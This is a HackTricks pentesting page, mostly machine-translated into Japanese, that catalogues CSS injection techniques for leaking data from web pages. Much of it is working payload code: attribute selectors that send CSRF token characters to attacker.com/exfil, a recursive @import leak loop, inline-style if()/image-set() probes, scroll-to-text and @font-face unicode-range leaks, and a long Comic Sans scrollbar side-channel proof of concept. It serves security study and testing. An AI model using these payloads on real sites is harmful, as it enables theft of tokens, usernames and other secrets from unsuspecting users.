CSS Injection

Reading time: 34 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

CSS Injection

属性セレクタ

CSSセレクタはinput要素のnameおよびvalue属性の値にマッチするように作成されます。input要素のvalue属性が特定の文字で始まる場合、あらかじめ定義された外部リソースが読み込まれます:

css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

しかし、このアプローチは隠し input 要素(type="hidden")を扱う際に制約があります。隠し要素は背景を読み込まないためです。

隠し要素のバイパス

この制約を回避するには、~ general sibling combinator を使って後続の兄弟要素をターゲットにします。するとその CSS ルールは隠し input 要素の後に続くすべての兄弟に適用され、背景画像が読み込まれます:

css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

この手法を悪用する実践的な例は、添付のコードスニペットに詳述されています。確認するには here をご覧ください。

CSS Injection の前提条件

For the CSS Injection technique to be effective, certain conditions must be met:

  1. Payload Length: CSS injection ベクタは、作成したセレクタを収めるために十分に長い payloads をサポートしている必要があります。
  2. CSS Re-evaluation: ページをフレーム化できることが必要です。これは、新しく生成した payloads で CSS の再評価をトリガーするために必要になります。
  3. External Resources: この手法は外部ホストされた画像を使用できることを前提としています。これはサイトの Content Security Policy (CSP) によって制限される可能性があります。

Blind Attribute Selector

As explained in this post, it's possible to combine the selectors :has and :not to identify content even from blind elements. これは、CSS injection を読み込むウェブページの中身が全く分からない場合に非常に有用です。
同じタイプの複数のブロックから情報を抽出するためにこれらのセレクタを使用することも可能です。例は以下の通りです:

html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

これを以下の @import テクニックと組み合わせることで、blind pages から CSS injection によって大量の info を exfiltrate することが可能です blind-css-exfiltration.

@import

前の手法にはいくつか欠点があり、前提条件を確認してください。被害者に複数のリンクを送ることができるか、または CSS injection 脆弱なページを iframe できる必要があります。

しかし、テクニックの品質を改善するために CSS @import を使う別の巧妙な手法があります。

これは Pepe Vila によって最初に示され、動作は次の通りです:

同じページを毎回何度も数十の異なる payload で読み込む代わりに(前の手法のように)、ページを一度だけ読み込み、攻撃者のサーバーへの import のみを含めます(これは被害者に送るペイロードです):

css
@import url("//attacker.com:5001/start?");
  1. The importは攻撃者からCSSスクリプトを受け取りブラウザがそれを読み込む
  2. CSSスクリプトの最初の部分は攻撃者が送るさらに別の @import で攻撃者のサーバーに再度要求するものになる。
  3. 攻撃者のサーバーはこのリクエストにまだ応答しない。まずいくつかの文字をleakし、その後次の文字をleakするためのpayloadでこのimportに応答する。
  4. payloadの2番目でより大きな部分はattribute selector leakage payloadになる。
  5. これは攻撃者のサーバーにsecretの最初の文字と最後の文字を送信する。
  6. 攻撃者のサーバーがsecretの最初と最後の文字を受け取ると、ステップ2で要求されたimportに応答する
  7. 応答はsteps 2, 3 and 4とまったく同じ内容になるが、今回はsecretの2番目の文字とその次に最後から2番目の文字を見つけようとする。

攻撃者はそのループを繰り返し、secretを完全にleakするまで続ける。

You can find the original Pepe Vila's code to exploit this here or you can find almost the same code but commented here.

tip

スクリプトは毎回先頭と末尾から2文字ずつ発見しようとする(beginning と end から) — これはattribute selectorが次のようなことを可能にするためである:

/* value^=  to match the beggining of the value*/
input[value^="0"] {
 --s0: url(http://localhost:5001/leak?pre=0);
}

/* value$=  to match the ending of the value*/
input[value$="f"] {
 --e0: url(http://localhost:5001/leak?post=f);
}

これによりスクリプトはsecretをより速くleakできる。

warning

時々スクリプトは発見されたprefix + suffixが既に完全な flag であることを正しく検出できず、prefix側で前進し続けたり、suffix側で後退し続けたりして、ある時点でハングすることがある。
心配いらない、outputを確認すればflagがそこに見える。

Inline-Style CSS Exfiltration (attr() + if() + image-set())

This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.

warning

if()内の等価比較では文字列リテラルにダブルクォートが必要である。シングルクォートはマッチしない。

  • Sink: 要素のstyle属性を制御し、ターゲット属性が同じ要素上にあることを確認する(attr()は同一要素の属性のみを読む)。
  • Read: 属性をCSS変数にコピーする: --val: attr(title).
  • Decide: 変数を文字列候補と比較するネストされた条件式でURLを選択する: --steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2)).
  • Exfiltrate: background: image-set(var(--steal))(または任意のフェッチを行うプロパティ)を適用して、選択されたエンドポイントへのリクエストを強制する。

Attempt (does not work; single quotes in comparison):

html
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

動作するペイロード(比較ではダブルクォートが必要):

html
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

ネストされた条件式を用いた属性値の列挙:

html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

現実的なデモ (probing usernames):

html
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

注意事項と制限:

  • 調査時点では Chromium ベースのブラウザで動作します。その他のエンジンでは挙動が異なる可能性があります。
  • 有限/列挙可能な値空間(IDs、flags、短いユーザー名)に最適です。 Stealing arbitrary long strings without external stylesheets remains challenging.
  • URL を取得する任意の CSS プロパティがリクエストをトリガーするために使用できます(例: background/image-set、border-image、list-style、cursor、content)。

自動化: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

その他の selectors

DOM の一部にアクセスするための CSS selectors の他の方法:

  • .class-to-search:nth-child(2): DOM 内でクラス "class-to-search" を持つ 2 番目の要素を検索します。
  • :empty selector: Used for example in this writeup:
css
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}

参照: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

全体の意図は、制御可能なエンドポイントからカスタムフォントを use し指定されたリソース (favicon.ico) が読み込めない場合にのみテキスト(この場合は 'A')がこのフォントで表示されることを確認する、ということです。

html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Custom Font の使用:
  • <head> セクションの <style> タグ内で、@font-face ルールを使ってカスタムフォントが定義されています。
  • フォントは poc という名前で、外部エンドポイント(http://attacker.com/?leak)から取得されます。
  • unicode-range プロパティは U+0041 に設定され、特定の Unicode 文字 'A' を対象とします。
  1. Object 要素とフォールバックテキスト:
  • <body> セクションに id="poc0"<object> 要素が作成されます。この要素は http://192.168.0.1/favicon.ico からリソースを読み込もうとします。
  • この要素の font-family<style> セクションで定義した 'poc' に設定されています。
  • リソース(favicon.ico)の読み込みに失敗した場合、<object> タグ内のフォールバックコンテンツ(文字 'A')が表示されます。
  • 外部リソースを読み込めない場合、フォールバックコンテンツ('A')はカスタムフォント poc を使ってレンダリングされます。

Scroll-to-Text Fragment のスタイリング

The :target pseudo-class is employed to select an element targeted by a URL fragment, as specified in the CSS Selectors Level 4 specification. ::target-text が、テキストがフラグメントによって明示的にターゲットされない限りいかなる要素にもマッチしないことを理解することが重要です。

攻撃者が Scroll-to-text フラグメント機能を悪用すると、HTML インジェクションを介して自身のサーバからリソースを読み込ませることで、ウェブページ上に特定のテキストが存在するかを確認できるというセキュリティ上の懸念が生じます。手法は次のような CSS ルールを注入することを含みます:

css
:target::before {
content: url(target.png);
}

そのようなシナリオでは、ページに "Administrator" というテキストが存在する場合、リソース target.png がサーバーにリクエストされ、そのテキストの存在が示されます。攻撃の一例は、注入されたCSSを埋め込み、Scroll-to-text fragment を含む特別に細工されたURLを通じて実行できます:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

ここでは、攻撃が HTML injection を操作して CSS コードを送信し、Scroll-to-text fragment (#:~:text=Administrator) を通じて特定のテキスト「Administrator」を狙います。テキストが見つかると、示されたリソースが読み込まれ、その存在が攻撃者に意図せず伝わります。

緩和策として、以下の点に注意してください:

  1. Constrained STTF Matching: Scroll-to-text Fragment (STTF) は単語や文のみをマッチするよう設計されており、任意の秘密やトークンを leak する能力が制限されています。
  2. Restriction to Top-level Browsing Contexts: STTF はトップレベルのブラウジングコンテキストでのみ動作し、iframe 内では機能しないため、悪用の試みはユーザーにとってより目立ちやすくなります。
  3. Necessity of User Activation: STTF を動作させるには user-activation ジェスチャーが必要であり、つまり悪用はユーザー起点のナビゲーションによってのみ実行可能です。この要件により、ユーザー操作なしに攻撃が自動化されるリスクはかなり軽減されます。とはいえ、ブログ記事の著者は social engineering や一般的な browser extensions との相互作用など、攻撃の自動化を容易にする特定の条件やバイパスを指摘しています。

これらのメカニズムと潜在的な脆弱性を認識することは、Webセキュリティを維持し、こうした悪用的手法から防御するために重要です。

For more information check the original report: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

You can check an exploit using this technique for a CTF here.

@font-face / unicode-range

ページに特定の Unicode 値のための外部フォントを指定することができ、これらはページにその Unicode 値が存在する場合にのみ取得されます。例えば:

html
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>

<p id="sensitive-information">AB</p>
htm

When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".

Text node exfiltration (I): ligatures

Reference: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

ここで説明されている手法は、フォントの ligatures を悪用してノードからテキストを抽出し、幅の変化を監視するものです。プロセスは複数のステップで構成されます:

  1. Creation of Custom Fonts:
  • SVG フォントは horiz-adv-x 属性を持つグリフで作成され、2文字のシーケンスを表すグリフに大きな幅を設定します。
  • 例の SVG グリフ: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>、ここで "XY" は2文字のシーケンスを示します。
  • これらのフォントは fontforge を使って woff 形式に変換されます。
  1. Detection of Width Changes:
  • CSS を使ってテキストが折り返されないように(white-space: nowrap)し、スクロールバーのスタイルをカスタマイズします。
  • 独自スタイルの横スクロールバーの出現が、特定の ligature(つまり特定の文字列)がテキスト内に存在することを示す指標(オラクル)として機能します。
  • 使用される CSS:
css
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
  1. Exploit Process:
  • Step 1: 幅の大きい文字ペア用のフォントを作成します。
  • Step 2: スクロールバーを使ったトリックで、大きな幅のグリフ(文字ペアの ligature)がレンダリングされたときにそれを検出し、その文字列が存在することを示します。
  • Step 3: ligature を検出したら、検出したペアに前後の文字を付け加えた3文字シーケンスを表す新しいグリフを生成します。
  • Step 4: 3文字の ligature の検出を行います。
  • Step 5: このプロセスを繰り返し、徐々に全文を明らかにしていきます。
  1. Optimization:
  • 現在の <meta refresh=... を使った初期化方法は最適とは言えません。
  • CSS の @import トリックを用いるなど、より効率的なアプローチでエクスプロイトの性能を向上させることが考えられます。

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq

このトリックはこの Slackers thread で公開されました。テキストノードで使われている charset は、ブラウザにインストールされたデフォルトフォントを使用して leak できます:外部またはカスタムフォントは不要です。

コンセプトは、アニメーションで div の幅を少しずつ拡大し、1文字ずつテキストの 'suffix' 部分から 'prefix' 部分へ移動させることにあります。これによりテキストは実質的に2つの部分に分割されます:

  1. Prefix: 最初の行
  2. Suffix: 続く行(または行群)

文字の遷移は次のように見えます:

C
ADB

CA
DB

CAD
B

CADB

この遷移の間、unicode-range trick を用いて、prefix に加わった各新しい文字を識別します。具体的にはフォントを Comic Sans に切り替えます。Comic Sans はデフォルトフォントよりも高さがあり、結果として縦スクロールバーを発生させます。このスクロールバーの出現により、prefix に新しい文字が入ったことが間接的に判明します。

この手法は、現れる固有の文字を検出することを可能にしますが、どの文字が繰り返されているかまでは特定できず、単に繰り返しが発生しているという事実だけを示します。

tip

基本的に、unicode-range は文字を検出するために使われますが、外部フォントを読み込みたくないため別の方法を見つける必要があります。
文字が**検出(found)**されたら、それにプリインストールされている Comic Sans font を割り当てます。これにより文字が大きくなって縦スクロールバーが発生し、そのスクロールバーが見つかった文字を leak します。

Check the code extracted from the PoC:

css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): leaking the charset をデフォルトフォントで要素を隠すことで(外部アセット不要)

参照: This is mentioned as an unsuccessful solution in this writeup

このケースは前のものと非常に似ていますが、ここでは特定の chars を他より大きくする目的は、bot に押されないようにボタンや読み込まれない image のようなものを隠すことです。 したがって、その動作(または動作しないこと)を測定することで、特定の char がテキスト内に存在するかどうかを判定できます。

Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)

参照: This is mentioned as an unsuccessful solution in this writeup

この場合、同一オリジンから偽のフォントをロードすることで、テキストに特定の char が含まれているかをleakしようとすることができます:

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

一致があれば、フォントは /static/bootstrap.min.css?q=1 から読み込まれます。実際に読み込めなくても、ブラウザはそれをキャッシュするはずで、キャッシュがなくても304 not modifiedの仕組みがあるため、レスポンスは他よりも速くなるはずです

しかし、キャッシュされたレスポンスと非キャッシュのレスポンスの時間差が十分でなければ、これは役に立ちません。例えば、著者は次のように述べています: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the disk-cache-size=1 flag, which is really thoughtful.

Text node exfiltration (III): leaking the charset を、ローカルの "fonts" を数百個ロードするタイミングで判別する(外部アセットを必要としない)

Reference: これは an unsuccessful solution in this writeup として言及されています

この場合、マッチが発生したときに同一オリジンから数百の偽フォントを読み込むような 数百の偽フォントを読み込むためのCSS を指定できます。こうすることで、かかる時間を測定し、文字が現れるかどうかを次のように判別できます:

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

そして bot のコードは次のとおりです:

python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

つまり、フォントが一致しない場合、ボットにアクセスしたときの応答時間はおおよそ30秒になります。しかし、フォントが一致する場合はフォントを取得するために複数のリクエストが送信され、ネットワーク上で継続的なアクティビティが発生します。その結果、停止条件を満たしてレスポンスを受け取るまでにより長くかかります。したがって、応答時間はフォント一致を判定するための指標として利用できます。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする